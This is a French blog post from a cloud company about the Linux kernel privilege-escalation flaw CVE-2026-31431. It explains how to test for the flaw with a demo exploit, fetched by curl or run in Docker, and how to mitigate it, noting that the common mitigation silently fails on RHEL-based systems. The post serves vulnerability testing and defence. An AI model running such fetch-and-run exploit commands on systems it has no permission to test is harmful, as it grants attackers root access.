Aller au contenu principal

Un article tagués avec « security »

Voir tous les tags

CVE-2026-31431 copyfail mitigation

· 2 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Récemment, Xint a divulgué une vulnérabilité très critique dans le noyau Linux, CVE-2026-31431, qui permet aux attaquants locaux d'obtenir des privilèges root. Plus de détails sur le fonctionnement de cette vulnérabilité peuvent être trouvés dans le blogpost de Xint.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre système est vulnérable.

attention

N'utilisez pas ce code sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas explicitement la permission de tester.

attention

Faites attention à backuper votre binaire su original, car cet exploit le modifie.

Tester la vulnérabilité

Sur une machine locale

Tout d'abord, assurez-vous de sauvegarder le binaire su sur votre système, car cet exploit peut le modifier :

root# cp /usr/bin/su /usr/bin/su.bak

Ensuite, avec un utilisateur non root, exécutez les commandes suivantes pour lancer le script d'exploitation :

user$ curl https://gitlab.cwcloud.tech/oss/cve-2026-31431-demo/-/raw/main/cve-2026-31431.py > cve-2026-31431.py
user$ python3 cve-2026-31431.py
root#

Ensuite, restaurez le binaire su original :

root# mv /usr/bin/su.bak /usr/bin/su

Avec docker compose

Il est souvent préférable d'utiliser des conteneurs pour une isolation plus sûre sans contaminer votre binaire su :

$ git clone https://gitlab.cwcloud.tech/oss/cve-2026-31431-demo.git
$ cd cve-2026-31431-demo
$ docker compose up -d --build --force-recreate
$ docker exec -it cve-2026-31431 /bin/bash
demo@8536b73279be:/app$ su -
#

Mitigation

Xint a fourni un moyen de mitiger cette vulnérabilité pour plusieurs distributions, y compris Debian ou Ubuntu :

root# echo 3 > /proc/sys/vm/drop_caches
root# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
root# rmmod algif_aead 2>/dev/null || true

Mais en raison du 2>/dev/null || true, beaucoup de monde ne semble pas conscient que l'atténuation ne fonctionne pas sur toutes les distributions, et en particulier sur les distributions basées sur RHEL, et manquent le message d'erreur suivant :

rmmod: ERROR: Module algif_aead module is bultin.

Voici une démonstration montrant que l'atténuation ne fonctionne pas sur Almalinux :

cve-2026-31431 mitigation

Et malheureusement, toutes les atténuations pour ces distributions impliquent un redémarrage. Voici l'une des plus simples jusqu'à ce qu'un nouveau correctif du noyau soit publié :

root# grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
root# reboot

Voici une démonstration de l'atténuation fonctionnant sur le même système Almalinux (après avoir restauré le binaire su original) :

cve-2026-31431 mitigation

Autres sources et références